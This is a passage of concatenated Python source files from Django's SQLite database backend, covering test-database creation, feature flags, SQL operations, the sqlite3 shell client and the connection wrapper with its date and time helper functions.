from django.utils.encoding import force_text
from django.utils.six.moves import input


class DatabaseCreation(BaseDatabaseCreation):

    @staticmethod
    def is_in_memory_db(database_name):
        return database_name == ':memory:' or 'mode=memory' in force_text(database_name)

    def _get_test_db_name(self):
        test_database_name = self.connection.settings_dict['TEST']['NAME']
        can_share_in_memory_db = self.connection.features.can_share_in_memory_db
        if not test_database_name:
            test_database_name = ':memory:'
        if can_share_in_memory_db:
            if test_database_name == ':memory:':
                return 'file:memorydb_%s?mode=memory&cache=shared' % self.connection.alias
        elif 'mode=memory' in test_database_name:
            raise ImproperlyConfigured(
                "Using a shared memory database with `mode=memory` in the "
                "database name is not supported in your environment, "
                "use `:memory:` instead."
            )
        return test_database_name

    def _create_test_db(self, verbosity, autoclobber, keepdb=False):
        test_database_name = self._get_test_db_name()

        if keepdb:
            return test_database_name
        if not self.is_in_memory_db(test_database_name):
            # Erase the old test database
            if verbosity >= 1:
                print("Destroying old test database for alias %s..." % (
                    self._get_database_display_str(verbosity, test_database_name),
                ))
            if os.access(test_database_name, os.F_OK):
                if not autoclobber:
                    confirm = input(
                        "Type 'yes' if you would like to try deleting the test "
                        "database '%s', or 'no' to cancel: " % test_database_name
                    )
                if autoclobber or confirm == 'yes':
                    try:
                        os.remove(test_database_name)
                    except Exception as e:
                        sys.stderr.write("Got an error deleting the old test database: %s\n" % e)
                        sys.exit(2)
                else:
                    print("Tests cancelled.")
                    sys.exit(1)
        return test_database_name

    def get_test_db_clone_settings(self, number):
        orig_settings_dict = self.connection.settings_dict
        source_database_name = orig_settings_dict['NAME']
        if self.is_in_memory_db(source_database_name):
            return orig_settings_dict
        else:
            new_settings_dict = orig_settings_dict.copy()
            root, ext = os.path.splitext(orig_settings_dict['NAME'])
            new_settings_dict['NAME'] = '{}_{}.{}'.format(root, number, ext)
            return new_settings_dict

    def _clone_test_db(self, number, verbosity, keepdb=False):
        source_database_name = self.connection.settings_dict['NAME']
        target_database_name = self.get_test_db_clone_settings(number)['NAME']
        # Forking automatically makes a copy of an in-memory database.
        if not self.is_in_memory_db(source_database_name):
            # Erase the old test database
            if os.access(target_database_name, os.F_OK):
                if keepdb:
                    return
                if verbosity >= 1:
                    print("Destroying old test database for alias %s..." % (
                        self._get_database_display_str(verbosity, target_database_name),
                    ))
                try:
                    os.remove(target_database_name)
                except Exception as e:
                    sys.stderr.write("Got an error deleting the old test database: %s\n" % e)
                    sys.exit(2)
            try:
                shutil.copy(source_database_name, target_database_name)
            except Exception as e:
                sys.stderr.write("Got an error cloning the test database: %s\n" % e)
                sys.exit(2)

    def _destroy_test_db(self, test_database_name, verbosity):
        if test_database_name and not self.is_in_memory_db(test_database_name):
            # Remove the SQLite database file
            os.remove(test_database_name)

    def test_db_signature(self):
        """
        Returns a tuple that uniquely identifies a test database.

        This takes into account the special cases of ":memory:" and "" for
        SQLite since the databases will be distinct despite having the same
        TEST NAME. See http://www.sqlite.org/inmemorydb.html
        """
        test_database_name = self._get_test_db_name()
        sig = [self.connection.settings_dict['NAME']]
        if self.is_in_memory_db(test_database_name):
            sig.append(self.connection.alias)
        return tuple(sig)






from __future__ import unicode_literals

from django.db import utils
from django.db.backends.base.features import BaseDatabaseFeatures
from django.utils import six
from django.utils.functional import cached_property

from .base import Database

try:
    import pytz
except ImportError:
    pytz = None


class DatabaseFeatures(BaseDatabaseFeatures):
    # SQLite cannot handle us only partially reading from a cursor's result set
    # and then writing the same rows to the database in another cursor. This
    # setting ensures we always read result sets fully into memory all in one
    # go.
    can_use_chunked_reads = False
    test_db_allows_multiple_connections = False
    supports_unspecified_pk = True
    supports_timezones = False
    supports_1000_query_parameters = False
    supports_mixed_date_datetime_comparisons = False
    has_bulk_insert = True
    can_combine_inserts_with_and_without_auto_increment_pk = False
    supports_foreign_keys = False
    supports_column_check_constraints = False
    autocommits_when_autocommit_is_off = True
    can_introspect_decimal_field = False
    can_introspect_positive_integer_field = True
    can_introspect_small_integer_field = True
    supports_transactions = True
    atomic_transactions = False
    can_rollback_ddl = True
    supports_paramstyle_pyformat = False
    supports_sequence_reset = False
    can_clone_databases = True
    supports_temporal_subtraction = True
    ignores_quoted_identifier_case = True

    @cached_property
    def uses_savepoints(self):
        return Database.sqlite_version_info >= (3, 6, 8)

    @cached_property
    def supports_index_column_ordering(self):
        return Database.sqlite_version_info >= (3, 3, 0)

    @cached_property
    def can_release_savepoints(self):
        return self.uses_savepoints

    @cached_property
    def can_share_in_memory_db(self):
        return (
            six.PY3 and
            Database.__name__ == 'sqlite3.dbapi2' and
            Database.sqlite_version_info >= (3, 7, 13)
        )

    @cached_property
    def supports_stddev(self):
        """Confirm support for STDDEV and related stats functions

        SQLite supports STDDEV as an extension package; so
        connection.ops.check_expression_support() can't unilaterally
        rule out support for STDDEV. We need to manually check
        whether the call works.
        """
        with self.connection.cursor() as cursor:
            cursor.execute('CREATE TABLE STDDEV_TEST (X INT)')
            try:
                cursor.execute('SELECT STDDEV(*) FROM STDDEV_TEST')
                has_support = True
            except utils.DatabaseError:
                has_support = False
            cursor.execute('DROP TABLE STDDEV_TEST')
        return has_support

    @cached_property
    def has_zoneinfo_database(self):
        return pytz is not None






from __future__ import unicode_literals

import datetime
import uuid

from django.conf import settings
from django.core.exceptions import FieldError, ImproperlyConfigured
from django.db import utils
from django.db.backends import utils as backend_utils
from django.db.backends.base.operations import BaseDatabaseOperations
from django.db.models import aggregates, fields
from django.utils import six, timezone
from django.utils.dateparse import parse_date, parse_datetime, parse_time
from django.utils.duration import duration_string

try:
    import pytz
except ImportError:
    pytz = None


class DatabaseOperations(BaseDatabaseOperations):
    def bulk_batch_size(self, fields, objs):
        """
        SQLite has a compile-time default (SQLITE_LIMIT_VARIABLE_NUMBER) of
        999 variables per query.

        If there is just single field to insert, then we can hit another
        limit, SQLITE_MAX_COMPOUND_SELECT which defaults to 500.
        """
        limit = 999 if len(fields) > 1 else 500
        return (limit // len(fields)) if len(fields) > 0 else len(objs)

    def check_expression_support(self, expression):
        bad_fields = (fields.DateField, fields.DateTimeField, fields.TimeField)
        bad_aggregates = (aggregates.Sum, aggregates.Avg, aggregates.Variance, aggregates.StdDev)
        if isinstance(expression, bad_aggregates):
            for expr in expression.get_source_expressions():
                try:
                    output_field = expr.output_field
                    if isinstance(output_field, bad_fields):
                        raise NotImplementedError(
                            'You cannot use Sum, Avg, StdDev, and Variance '
                            'aggregations on date/time fields in sqlite3 '
                            'since date/time is saved as text.'
                        )
                except FieldError:
                    # Not every subexpression has an output_field which is fine
                    # to ignore.
                    pass

    def date_extract_sql(self, lookup_type, field_name):
        # sqlite doesn't support extract, so we fake it with the user-defined
        # function django_date_extract that's registered in connect(). Note that
        # single quotes are used because this is a string (and could otherwise
        # cause a collision with a field name).
        return "django_date_extract('%s', %s)" % (lookup_type.lower(), field_name)

    def date_interval_sql(self, timedelta):
        return "'%s'" % duration_string(timedelta), []

    def format_for_duration_arithmetic(self, sql):
        """Do nothing here, we will handle it in the custom function."""
        return sql

    def date_trunc_sql(self, lookup_type, field_name):
        # sqlite doesn't support DATE_TRUNC, so we fake it with a user-defined
        # function django_date_trunc that's registered in connect(). Note that
        # single quotes are used because this is a string (and could otherwise
        # cause a collision with a field name).
        return "django_date_trunc('%s', %s)" % (lookup_type.lower(), field_name)

    def time_trunc_sql(self, lookup_type, field_name):
        # sqlite doesn't support DATE_TRUNC, so we fake it with a user-defined
        # function django_date_trunc that's registered in connect(). Note that
        # single quotes are used because this is a string (and could otherwise
        # cause a collision with a field name).
        return "django_time_trunc('%s', %s)" % (lookup_type.lower(), field_name)

    def _require_pytz(self):
        if settings.USE_TZ and pytz is None:
            raise ImproperlyConfigured("This query requires pytz, but it isn't installed.")

    def datetime_cast_date_sql(self, field_name, tzname):
        self._require_pytz()
        return "django_datetime_cast_date(%s, %%s)" % field_name, [tzname]

    def datetime_cast_time_sql(self, field_name, tzname):
        self._require_pytz()
        return "django_datetime_cast_time(%s, %%s)" % field_name, [tzname]

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        # Same comment as in date_extract_sql.
        self._require_pytz()
        return "django_datetime_extract('%s', %s, %%s)" % (
            lookup_type.lower(), field_name), [tzname]

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        # Same comment as in date_trunc_sql.
        self._require_pytz()
        return "django_datetime_trunc('%s', %s, %%s)" % (
            lookup_type.lower(), field_name), [tzname]

    def time_extract_sql(self, lookup_type, field_name):
        # sqlite doesn't support extract, so we fake it with the user-defined
        # function django_time_extract that's registered in connect(). Note that
        # single quotes are used because this is a string (and could otherwise
        # cause a collision with a field name).
        return "django_time_extract('%s', %s)" % (lookup_type.lower(), field_name)

    def pk_default_value(self):
        return "NULL"

    def _quote_params_for_last_executed_query(self, params):
        """
        Only for last_executed_query! Don't use this to execute SQL queries!
        """
        # This function is limited both by SQLITE_LIMIT_VARIABLE_NUMBER (the
        # number of parameters, default = 999) and SQLITE_MAX_COLUMN (the
        # number of return values, default = 2000). Since Python's sqlite3
        # module doesn't expose the get_limit() C API, assume the default
        # limits are in effect and split the work in batches if needed.
        BATCH_SIZE = 999
        if len(params) > BATCH_SIZE:
            results = ()
            for index in range(0, len(params), BATCH_SIZE):
                chunk = params[index:index + BATCH_SIZE]
                results += self._quote_params_for_last_executed_query(chunk)
            return results

        sql = 'SELECT ' + ', '.join(['QUOTE(?)'] * len(params))
        # Bypass Django's wrappers and use the underlying sqlite3 connection
        # to avoid logging this query - it would trigger infinite recursion.
        cursor = self.connection.connection.cursor()
        # Native sqlite3 cursors cannot be used as context managers.
        try:
            return cursor.execute(sql, params).fetchone()
        finally:
            cursor.close()

    def last_executed_query(self, cursor, sql, params):
        # Python substitutes parameters in Modules/_sqlite/cursor.c with:
        # pysqlite_statement_bind_parameters(self->statement, parameters, allow_8bit_chars);
        # Unfortunately there is no way to reach self->statement from Python,
        # so we quote and substitute parameters manually.
        if params:
            if isinstance(params, (list, tuple)):
                params = self._quote_params_for_last_executed_query(params)
            else:
                keys = params.keys()
                values = tuple(params.values())
                values = self._quote_params_for_last_executed_query(values)
                params = dict(zip(keys, values))
            return sql % params
        # For consistency with SQLiteCursorWrapper.execute(), just return sql
        # when there are no parameters. See #13648 and #17158.
        else:
            return sql

    def quote_name(self, name):
        if name.startswith('"') and name.endswith('"'):
            return name  # Quoting once is enough.
        return '"%s"' % name

    def no_limit_value(self):
        return -1

    def sql_flush(self, style, tables, sequences, allow_cascade=False):
        # NB: The generated SQL below is specific to SQLite
        # Note: The DELETE FROM... SQL generated below works for SQLite databases
        # because constraints don't exist
        sql = ['%s %s %s;' % (
            style.SQL_KEYWORD('DELETE'),
            style.SQL_KEYWORD('FROM'),
            style.SQL_FIELD(self.quote_name(table))
        ) for table in tables]
        # Note: No requirement for reset of auto-incremented indices (cf. other
        # sql_flush() implementations). Just return SQL at this point
        return sql

    def adapt_datetimefield_value(self, value):
        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        # SQLite doesn't support tz-aware datetimes
        if timezone.is_aware(value):
            if settings.USE_TZ:
                value = timezone.make_naive(value, self.connection.timezone)
            else:
                raise ValueError("SQLite backend does not support timezone-aware datetimes when USE_TZ is False.")

        return six.text_type(value)

    def adapt_timefield_value(self, value):
        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        # SQLite doesn't support tz-aware datetimes
        if timezone.is_aware(value):
            raise ValueError("SQLite backend does not support timezone-aware times.")

        return six.text_type(value)

    def get_db_converters(self, expression):
        converters = super(DatabaseOperations, self).get_db_converters(expression)
        internal_type = expression.output_field.get_internal_type()
        if internal_type == 'DateTimeField':
            converters.append(self.convert_datetimefield_value)
        elif internal_type == 'DateField':
            converters.append(self.convert_datefield_value)
        elif internal_type == 'TimeField':
            converters.append(self.convert_timefield_value)
        elif internal_type == 'DecimalField':
            converters.append(self.convert_decimalfield_value)
        elif internal_type == 'UUIDField':
            converters.append(self.convert_uuidfield_value)
        return converters

    def convert_datetimefield_value(self, value, expression, connection, context):
        if value is not None:
            if not isinstance(value, datetime.datetime):
                value = parse_datetime(value)
            if settings.USE_TZ:
                value = timezone.make_aware(value, self.connection.timezone)
        return value

    def convert_datefield_value(self, value, expression, connection, context):
        if value is not None:
            if not isinstance(value, datetime.date):
                value = parse_date(value)
        return value

    def convert_timefield_value(self, value, expression, connection, context):
        if value is not None:
            if not isinstance(value, datetime.time):
                value = parse_time(value)
        return value

    def convert_decimalfield_value(self, value, expression, connection, context):
        if value is not None:
            value = expression.output_field.format_number(value)
            value = backend_utils.typecast_decimal(value)
        return value

    def convert_uuidfield_value(self, value, expression, connection, context):
        if value is not None:
            value = uuid.UUID(value)
        return value

    def bulk_insert_sql(self, fields, placeholder_rows):
        return " UNION ALL ".join(
            "SELECT %s" % ", ".join(row)
            for row in placeholder_rows
        )

    def combine_expression(self, connector, sub_expressions):
        # SQLite doesn't have a power function, so we fake it with a
        # user-defined function django_power that's registered in connect().
        if connector == '^':
            return 'django_power(%s)' % ','.join(sub_expressions)
        return super(DatabaseOperations, self).combine_expression(connector, sub_expressions)

    def combine_duration_expression(self, connector, sub_expressions):
        if connector not in ['+', '-']:
            raise utils.DatabaseError('Invalid connector for timedelta: %s.' % connector)
        fn_params = ["'%s'" % connector] + sub_expressions
        if len(fn_params) > 3:
            raise ValueError('Too many params for timedelta operations.')
        return "django_format_dtdelta(%s)" % ', '.join(fn_params)

    def integer_field_range(self, internal_type):
        # SQLite doesn't enforce any integer constraints
        return (None, None)

    def subtract_temporals(self, internal_type, lhs, rhs):
        lhs_sql, lhs_params = lhs
        rhs_sql, rhs_params = rhs
        if internal_type == 'TimeField':
            return "django_time_diff(%s, %s)" % (lhs_sql, rhs_sql), lhs_params + rhs_params
        return "django_timestamp_diff(%s, %s)" % (lhs_sql, rhs_sql), lhs_params + rhs_params






import subprocess

from django.db.backends.base.client import BaseDatabaseClient


class DatabaseClient(BaseDatabaseClient):
    executable_name = 'sqlite3'

    def runshell(self):
        args = [self.executable_name,
                self.connection.settings_dict['NAME']]
        subprocess.check_call(args)






"""
SQLite3 backend for django.

Works with either the pysqlite2 module or the sqlite3 module in the
standard library.
"""
from __future__ import unicode_literals

import datetime
import decimal
import re
import warnings

from django.conf import settings
from django.db import utils
from django.db.backends import utils as backend_utils
from django.db.backends.base.base import BaseDatabaseWrapper
from django.db.backends.base.validation import BaseDatabaseValidation
from django.utils import six, timezone
from django.utils.dateparse import (
    parse_date, parse_datetime, parse_duration, parse_time,
)
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.safestring import SafeBytes

try:
    import pytz
except ImportError:
    pytz = None

try:
    try:
        from pysqlite2 import dbapi2 as Database
    except ImportError:
        from sqlite3 import dbapi2 as Database
except ImportError as exc:
    from django.core.exceptions import ImproperlyConfigured
    raise ImproperlyConfigured("Error loading either pysqlite2 or sqlite3 modules (tried in that order): %s" % exc)

# Some of these import sqlite3, so import them after checking if it's installed.
from .client import DatabaseClient                          # isort:skip
from .creation import DatabaseCreation                      # isort:skip
from .features import DatabaseFeatures                      # isort:skip
from .introspection import DatabaseIntrospection            # isort:skip
from .operations import DatabaseOperations                  # isort:skip
from .schema import DatabaseSchemaEditor                    # isort:skip

DatabaseError = Database.DatabaseError
IntegrityError = Database.IntegrityError


def adapt_datetime_warn_on_aware_datetime(value):
    # Remove this function and rely on the default adapter in Django 2.0.
    if settings.USE_TZ and timezone.is_aware(value):
        warnings.warn(
            "The SQLite database adapter received an aware datetime (%s), "
            "probably from cursor.execute(). Update your code to pass a "
            "naive datetime in the database connection's time zone (UTC by "
            "default).", RemovedInDjango20Warning)
        # This doesn't account for the database connection's timezone,
        # which isn't known. (That's why this adapter is deprecated.)
        value = value.astimezone(timezone.utc).replace(tzinfo=None)
    return value.isoformat(str(" "))


def decoder(conv_func):
    """ The Python sqlite3 interface returns always byte strings.
        This function converts the received value to a regular string before
        passing it to the receiver function.
    """
    return lambda s: conv_func(s.decode('utf-8'))

Database.register_converter(str("bool"), decoder(lambda s: s == '1'))
Database.register_converter(str("time"), decoder(parse_time))
Database.register_converter(str("date"), decoder(parse_date))
Database.register_converter(str("datetime"), decoder(parse_datetime))
Database.register_converter(str("timestamp"), decoder(parse_datetime))
Database.register_converter(str("TIMESTAMP"), decoder(parse_datetime))
Database.register_converter(str("decimal"), decoder(backend_utils.typecast_decimal))

Database.register_adapter(datetime.datetime, adapt_datetime_warn_on_aware_datetime)
Database.register_adapter(decimal.Decimal, backend_utils.rev_typecast_decimal)
if six.PY2:
    Database.register_adapter(str, lambda s: s.decode('utf-8'))
    Database.register_adapter(SafeBytes, lambda s: s.decode('utf-8'))


class DatabaseWrapper(BaseDatabaseWrapper):
    vendor = 'sqlite'
    # SQLite doesn't actually support most of these types, but it "does the right
    # thing" given more verbose field definitions, so leave them as is so that
    # schema inspection is more useful.
    data_types = {
        'AutoField': 'integer',
        'BigAutoField': 'integer',
        'BinaryField': 'BLOB',
        'BooleanField': 'bool',
        'CharField': 'varchar(%(max_length)s)',
        'CommaSeparatedIntegerField': 'varchar(%(max_length)s)',
        'DateField': 'date',
        'DateTimeField': 'datetime',
        'DecimalField': 'decimal',
        'DurationField': 'bigint',
        'FileField': 'varchar(%(max_length)s)',
        'FilePathField': 'varchar(%(max_length)s)',
        'FloatField': 'real',
        'IntegerField': 'integer',
        'BigIntegerField': 'bigint',
        'IPAddressField': 'char(15)',
        'GenericIPAddressField': 'char(39)',
        'NullBooleanField': 'bool',
        'OneToOneField': 'integer',
        'PositiveIntegerField': 'integer unsigned',
        'PositiveSmallIntegerField': 'smallint unsigned',
        'SlugField': 'varchar(%(max_length)s)',
        'SmallIntegerField': 'smallint',
        'TextField': 'text',
        'TimeField': 'time',
        'UUIDField': 'char(32)',
    }
    data_types_suffix = {
        'AutoField': 'AUTOINCREMENT',
        'BigAutoField': 'AUTOINCREMENT',
    }
    # SQLite requires LIKE statements to include an ESCAPE clause if the value
    # being escaped has a percent or underscore in it.
    # See http://www.sqlite.org/lang_expr.html for an explanation.
    operators = {
        'exact': '= %s',
        'iexact': "LIKE %s ESCAPE '\\'",
        'contains': "LIKE %s ESCAPE '\\'",
        'icontains': "LIKE %s ESCAPE '\\'",
        'regex': 'REGEXP %s',
        'iregex': "REGEXP '(?i)' || %s",
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': "LIKE %s ESCAPE '\\'",
        'endswith': "LIKE %s ESCAPE '\\'",
        'istartswith': "LIKE %s ESCAPE '\\'",
        'iendswith': "LIKE %s ESCAPE '\\'",
    }

    # The patterns below are used to generate SQL pattern lookup clauses when
    # the right-hand side of the lookup isn't a raw string (it might be an expression
    # or the result of a bilateral transformation).
    # In those cases, special characters for LIKE operators (e.g. \, *, _) should be
    # escaped on database side.
    #
    # Note: we use str.format() here for readability as '%' is used as a wildcard for
    # the LIKE operator.
    pattern_esc = r"REPLACE(REPLACE(REPLACE({}, '\', '\\'), '%%', '\%%'), '_', '\_')"
    pattern_ops = {
        'contains': r"LIKE '%%' || {} || '%%' ESCAPE '\'",
        'icontains': r"LIKE '%%' || UPPER({}) || '%%' ESCAPE '\'",
        'startswith': r"LIKE {} || '%%' ESCAPE '\'",
        'istartswith': r"LIKE UPPER({}) || '%%' ESCAPE '\'",
        'endswith': r"LIKE '%%' || {} ESCAPE '\'",
        'iendswith': r"LIKE '%%' || UPPER({}) ESCAPE '\'",
    }

    Database = Database
    SchemaEditorClass = DatabaseSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)

        self.features = DatabaseFeatures(self)
        self.ops = DatabaseOperations(self)
        self.client = DatabaseClient(self)
        self.creation = DatabaseCreation(self)
        self.introspection = DatabaseIntrospection(self)
        self.validation = BaseDatabaseValidation(self)

    def get_connection_params(self):
        settings_dict = self.settings_dict
        if not settings_dict['NAME']:
            from django.core.exceptions import ImproperlyConfigured
            raise ImproperlyConfigured(
                "settings.DATABASES is improperly configured. "
                "Please supply the NAME value.")
        kwargs = {
            'database': settings_dict['NAME'],
            'detect_types': Database.PARSE_DECLTYPES | Database.PARSE_COLNAMES,
        }
        kwargs.update(settings_dict['OPTIONS'])
        # Always allow the underlying SQLite connection to be shareable
        # between multiple threads. The safe-guarding will be handled at a
        # higher level by the `BaseDatabaseWrapper.allow_thread_sharing`
        # property. This is necessary as the shareability is disabled by
        # default in pysqlite and it cannot be changed once a connection is
        # opened.
        if 'check_same_thread' in kwargs and kwargs['check_same_thread']:
            warnings.warn(
                'The `check_same_thread` option was provided and set to '
                'True. It will be overridden with False. Use the '
                '`DatabaseWrapper.allow_thread_sharing` property instead '
                'for controlling thread shareability.',
                RuntimeWarning
            )
        kwargs.update({'check_same_thread': False})
        if self.features.can_share_in_memory_db:
            kwargs.update({'uri': True})
        return kwargs

    def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        conn.create_function("django_date_extract", 2, _sqlite_date_extract)
        conn.create_function("django_date_trunc", 2, _sqlite_date_trunc)
        conn.create_function("django_datetime_cast_date", 2, _sqlite_datetime_cast_date)
        conn.create_function("django_datetime_cast_time", 2, _sqlite_datetime_cast_time)
        conn.create_function("django_datetime_extract", 3, _sqlite_datetime_extract)
        conn.create_function("django_datetime_trunc", 3, _sqlite_datetime_trunc)
        conn.create_function("django_time_extract", 2, _sqlite_time_extract)
        conn.create_function("django_time_trunc", 2, _sqlite_time_trunc)
        conn.create_function("django_time_diff", 2, _sqlite_time_diff)
        conn.create_function("django_timestamp_diff", 2, _sqlite_timestamp_diff)
        conn.create_function("regexp", 2, _sqlite_regexp)
        conn.create_function("django_format_dtdelta", 3, _sqlite_format_dtdelta)
        conn.create_function("django_power", 2, _sqlite_power)
        return conn

    def init_connection_state(self):
        pass

    def create_cursor(self):
        return self.connection.cursor(factory=SQLiteCursorWrapper)

    def close(self):
        self.validate_thread_sharing()
        # If database is in memory, closing the connection destroys the
        # database. To prevent accidental data loss, ignore close requests on
        # an in-memory db.
        if not self.is_in_memory_db():
            BaseDatabaseWrapper.close(self)

    def _savepoint_allowed(self):
        # Two conditions are required here:
        # - A sufficiently recent version of SQLite to support savepoints,
        # - Being in a transaction, which can only happen inside 'atomic'.

        # When 'isolation_level' is not None, sqlite3 commits before each
        # savepoint; it's a bug. When it is None, savepoints don't make sense
        # because autocommit is enabled. The only exception is inside 'atomic'
        # blocks. To work around that bug, on SQLite, 'atomic' starts a
        # transaction explicitly rather than simply disable autocommit.
        return self.features.uses_savepoints and self.in_atomic_block

    def _set_autocommit(self, autocommit):
        if autocommit:
            level = None
        else:
            # sqlite3's internal default is ''. It's different from None.
            # See Modules/_sqlite/connection.c.
            level = ''
        # 'isolation_level' is a misleading API.
        # SQLite always runs at the SERIALIZABLE isolation level.
        with self.wrap_database_errors:
            self.connection.isolation_level = level

    def check_constraints(self, table_names=None):
        """
        Checks each table name in `table_names` for rows with invalid foreign
        key references. This method is intended to be used in conjunction with
        `disable_constraint_checking()` and `enable_constraint_checking()`, to
        determine if rows with invalid references were entered while constraint
        checks were off.

        Raises an IntegrityError on the first invalid foreign key reference
        encountered (if any) and provides detailed information about the
        invalid reference in the error message.

        Backends can override this method if they can more directly apply
        constraint checking (e.g. via "SET CONSTRAINTS ALL IMMEDIATE")
        """
        cursor = self.cursor()
        if table_names is None:
            table_names = self.introspection.table_names(cursor)
        for table_name in table_names:
            primary_key_column_name = self.introspection.get_primary_key_column(cursor, table_name)
            if not primary_key_column_name:
                continue
            key_columns = self.introspection.get_key_columns(cursor, table_name)
            for column_name, referenced_table_name, referenced_column_name in key_columns:
                cursor.execute(
                    """
                    SELECT REFERRING.`%s`, REFERRING.`%s` FROM `%s` as REFERRING
                    LEFT JOIN `%s` as REFERRED
                    ON (REFERRING.`%s` = REFERRED.`%s`)
                    WHERE REFERRING.`%s` IS NOT NULL AND REFERRED.`%s` IS NULL
                    """
                    % (
                        primary_key_column_name, column_name, table_name,
                        referenced_table_name, column_name, referenced_column_name,
                        column_name, referenced_column_name,
                    )
                )
                for bad_row in cursor.fetchall():
                    raise utils.IntegrityError(
                        "The row in table '%s' with primary key '%s' has an "
                        "invalid foreign key: %s.%s contains a value '%s' that "
                        "does not have a corresponding value in %s.%s." % (
                            table_name, bad_row[0], table_name, column_name,
                            bad_row[1], referenced_table_name, referenced_column_name,
                        )
                    )

    def is_usable(self):
        return True

    def _start_transaction_under_autocommit(self):
        """
        Start a transaction explicitly in autocommit mode.

        Staying in autocommit mode works around a bug of sqlite3 that breaks
        savepoints when autocommit is disabled.
        """
        self.cursor().execute("BEGIN")

    def is_in_memory_db(self):
        return self.creation.is_in_memory_db(self.settings_dict['NAME'])


FORMAT_QMARK_REGEX = re.compile(r'(?<!%)%s')


class SQLiteCursorWrapper(Database.Cursor):
    """
    Django uses "format" style placeholders, but pysqlite2 uses "qmark" style.
    This fixes it -- but note that if you want to use a literal "%s" in a query,
    you'll need to use "%%s".
    """
    def execute(self, query, params=None):
        if params is None:
            return Database.Cursor.execute(self, query)
        query = self.convert_query(query)
        return Database.Cursor.execute(self, query, params)

    def executemany(self, query, param_list):
        query = self.convert_query(query)
        return Database.Cursor.executemany(self, query, param_list)

    def convert_query(self, query):
        return FORMAT_QMARK_REGEX.sub('?', query).replace('%%', '%')


def _sqlite_date_extract(lookup_type, dt):
    if dt is None:
        return None
    try:
        dt = backend_utils.typecast_timestamp(dt)
    except (ValueError, TypeError):
        return None
    if lookup_type == 'week_day':
        return (dt.isoweekday() % 7) + 1
    else:
        return getattr(dt, lookup_type)


def _sqlite_date_trunc(lookup_type, dt):
    try:
        dt = backend_utils.typecast_timestamp(dt)
    except (ValueError, TypeError):
        return None
    if lookup_type == 'year':
        return "%i-01-01" % dt.year
    elif lookup_type == 'month':
        return "%i-%02i-01" % (dt.year, dt.month)
    elif lookup_type == 'day':
        return "%i-%02i-%02i" % (dt.year, dt.month, dt.day)


def _sqlite_time_trunc(lookup_type, dt):
    try:
        dt = backend_utils.typecast_time(dt)
    except (ValueError, TypeError):
        return None
    if lookup_type == 'hour':
        return "%02i:00:00" % dt.hour
    elif lookup_type == 'minute':
        return "%02i:%02i:00" % (dt.hour, dt.minute)
    elif lookup_type == 'second':
        return "%02i:%02i:%02i" % (dt.hour, dt.minute, dt.second)


def _sqlite_datetime_parse(dt, tzname):
    if dt is None:
        return None
    try:
        dt = backend_utils.typecast_timestamp(dt)
    except (ValueError, TypeError):
        return None
    if tzname is not None:
        dt = timezone.localtime(dt, pytz.timezone(tzname))
    return dt


def _sqlite_datetime_cast_date(dt, tzname):
    dt = _sqlite_datetime_parse(dt, tzname)
    if dt is None:
        return None
    return dt.date().isoformat()


def _sqlite_datetime_cast_time(dt, tzname):
    dt = _sqlite_datetime_parse(dt, tzname)
    if dt is None:
        return None
    return dt.time().isoformat()


def _sqlite_datetime_extract(lookup_type, dt, tzname):
    dt = _sqlite_datetime_parse(dt, tzname)
    if dt is None:
        return None
    if lookup_type == 'week_day':
        return (dt.isoweekday() % 7) + 1
    else:
        return getattr(dt, lookup_type)


def _sqlite_datetime_trunc(lookup_type, dt, tzname):
    dt = _sqlite_datetime_parse(dt, tzname)
    if dt is None:
        return None
    if lookup_type == 'year':
        return "%i-01-01 00:00:00" % dt.year
    elif lookup_type == 'month':
        return "%i-%02i-01 00:00:00" % (dt.year, dt.month)
    elif lookup_type == 'day':
        return "%i-%02i-%02i 00:00:00" % (dt.year, dt.month, dt.day)
    elif lookup_type == 'hour':
        return "%i-%02i-%02i %02i:00:00" % (dt.year, dt.month, dt.day, dt.hour)
    elif lookup_type == 'minute':
        return "%i-%02i-%02i %02i:%02i:00" % (dt.year, dt.month, dt.day, dt.hour, dt.minute)
    elif lookup_type == 'second':
        return "%i-%02i-%02i %02i:%02i:%02i" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)


def _sqlite_time_extract(lookup_type, dt):
    if dt is None:
        return None
    try:
        dt = backend_utils.typecast_time(dt)
    except (ValueError, TypeError):
        return None
    return getattr(dt, lookup_type)


def _sqlite_format_dtdelta(conn, lhs, rhs):
    """
    LHS and RHS can be either:
        - An integer number of microseconds
        - A string representing a timedelta object
        - A string representing a datetime
    """
    try:
        if isinstance(lhs, six.integer_types):
            lhs = str(decimal.Decimal(lhs) / decimal.Decimal(1000000))
        real_lhs = parse_duration(lhs)
        if real_lhs is None:
            real_lhs = backend_utils.typecast_timestamp(lhs)
        if isinstance(rhs, six.integer_types):
            rhs = str(decimal.Decimal(rhs) / decimal.Decimal(1000000))
        real_rhs = parse_duration(rhs)
        if real_rhs is None:
            real_rhs = backend_utils.typecast_timestamp(rhs)
        if conn.strip() == '+':
            out = real_lhs + real_rhs
        else:
            out = real_lhs - real_rhs
    except (ValueError, TypeError):
        return None
    # typecast_timestamp returns a date or a datetime without timezone.
    # It will be formatted as "%Y-%m-%d" or "%Y-%m-%d %H:%M:%S[.%f]"
    return str(out)


def _sqlite_time_diff(lhs, rhs):
    left = backend_utils.typecast_time(lhs)
    right = backend_utils.typecast_time(rhs)
    return (
        (left.hour * 60 * 60 * 1000000) +
        (left.minute * 60 * 1000000) +
        (left.second * 1000000) +
        (left.microsecond) -
        (right.hour * 60 * 60 * 1000000) -
        (right.minute * 60 * 1000000) -
        (right.second * 1000000) -
        (right.microsecond)
    )


def _sqlite_timestamp_diff(lhs, rhs):
    left = backend_utils.typecast_timestamp(lhs)
    right = backend_utils.typecast_timestamp(rhs)
    return (left - right).total_seconds() * 1000000


def _sqlite_regexp(re_pattern, re_string):
    return bool(re.search(re_pattern, force_text(re_string))) if re_string is not None else False


def _sqlite_power(x, y):
    return x ** y






import codecs
import contextlib
import copy
